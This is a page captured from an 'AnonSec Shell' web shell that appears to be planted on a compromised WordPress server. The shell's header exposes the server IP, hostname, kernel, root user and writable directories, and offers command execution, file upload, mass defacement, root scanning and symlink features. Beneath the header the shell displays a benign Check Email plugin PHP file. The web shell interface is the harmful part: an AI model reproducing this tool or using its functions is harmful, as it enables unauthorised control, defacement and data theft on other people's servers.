AnonSec Shell
Server IP : 104.21.14.48  /  Your IP : 18.118.186.100   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/plugins/check-email/include/Core/UI/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/plugins/check-email/include/Core/UI/Check_Email_UI_Loader.php
<?php namespace CheckEmail\Core\UI;

use CheckEmail\Core\Loadie;
use CheckEmail\Core\UI\Page\Check_Email_Log_List_Page;

defined( 'ABSPATH' ) || exit; // Exit if accessed directly.

/**
 * Admin UI Loader.
 * Loads and initializes all admin pages and components.
 */
class Check_Email_UI_Loader implements Loadie {

	protected $components = array();
	protected $pages = array();


	public function load() {
                $this->initialize_components();
		$this->initialize_pages();

		foreach ( $this->components as $component ) {
			$component->load();
		}

		foreach ( $this->pages as $page ) {
			$page->load();
		}
	}

        protected function initialize_components() {
		if ( current_user_can( Check_Email_Log_List_Page::CAPABILITY ) ) {
			if( $this->is_show_dashboard_widget() ) {
				$this->components['dashboard_widget']  = new Component\Check_Email_Dashboard_Widget();
			}
		}
	}
        
	public function is_show_dashboard_widget() {
		$this->components['core_settings'] = new Setting\Check_Email_Core_Setting();
		$dashboard_status                  = false;
		$options                           = get_option( 'check-email-log-core' );
		if( isset( $options['enable_dashboard_widget'] ) ) {
			$dashboard_status = $options['enable_dashboard_widget'];
		}

		return $dashboard_status;
	}

	/**
	 * Initialize Admin page Objects.
	 *
	 * This method may be overwritten in tests.
	 *
	 * @access protected
	 */
	protected function initialize_pages() {
                $this->pages['check_email']      = new Page\Check_Email_Status_Page();
                $this->pages['log_list_page']    = new Page\Check_Email_Log_List_Page();
                $this->pages['settings_page']    = new Page\Check_Email_Settings_Page();
				$this->pages['wizard_page']    = new Page\Check_Email_Wizard_Page();
				$this->pages['error_tracker_list']    = new Page\Check_Email_Error_Tracker_list();
	}
}

Anon7 - 2022
AnonSec Team